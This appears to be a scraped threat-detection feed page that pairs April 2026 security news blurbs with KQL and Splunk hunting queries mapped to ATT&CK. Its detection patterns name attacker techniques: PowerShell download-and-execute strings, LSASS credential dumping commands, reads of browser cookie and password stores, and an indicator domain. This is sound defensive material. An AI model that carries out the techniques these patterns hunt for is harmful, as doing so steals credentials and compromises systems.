Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("fudcrypt.net")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("fudcrypt.net")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("fudcrypt.net")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — ThreatsDay Bulletin: $290M DeFi Hack, macOS LotL Abuse, ProxySmart SIM Farms +25
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("iastorhelp.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("iastorhelp.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — ThreatsDay Bulletin: $290M DeFi Hack, macOS LotL Abuse, ProxySmart SIM Farms +25 ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("iastorhelp.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("iastorhelp.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
2026-04-234 use cases3 techniques6 kill-chain phases detected
Imagine a world where hackers don't sleep, don't take breaks, and find weak spots in your systems instantly. Well, that world is already here. Thanks to AI, attackers are now launching automated, large-scale exploits faster than ever before. The time you have to fix a vulnerability before it gets attacked is shrinking to zero. We call this the Collapsing Exploit Window, and it means your
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-235 use cases4 techniques7 kill-chain phases detected
Last week, Anthropic announced Project Glasswing, an AI model so effective at discovering software vulnerabilities that they took the extraordinary step of postponing its public release. Instead, the company has given access to Apple, Microsoft, Google, Amazon, and a coalition of others to find and patch bugs before adversaries can. Mythos Preview, the model that led to Project Glasswing, found
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1003T1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-236 use cases12 techniques5 kill-chain phases detected
Unit 42 reveals how multi-agent AI systems can autonomously attack cloud environments. Learn critical insights and vital lessons for proactive security. The post Can AI Attack the Cloud? Lessons From Building an Autonomous Cloud Offensive Multi-Agent System appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2310 use cases4 techniques6 kill-chain phases detected
Mongolian governmental institutions have emerged as the target of a previously undocumented China-aligned advanced persistent threat (APT) group tracked as GopherWhisper. "The group wields a wide array of tools mostly written in Go, using injectors and loaders to deploy and execute various backdoors in its arsenal," Slovakian cybersecurity company ESET said in a report shared with The Hacker
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1059.003T1176T1190T1195.002
Domainsfile.io
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — China-Linked GopherWhisper Infects 12 Mongolian Government Systems with Go Backd
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] GopherWhisper JabGopher injecting whisper.dll into svchost.exe (LaxGopher loader)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] GopherWhisper BoxOfFriends C2 via Microsoft Graph drafts from attacker mailbox
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · [LLM] GopherWhisper CompactGopher exfiltration via file.io from non-browser process
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
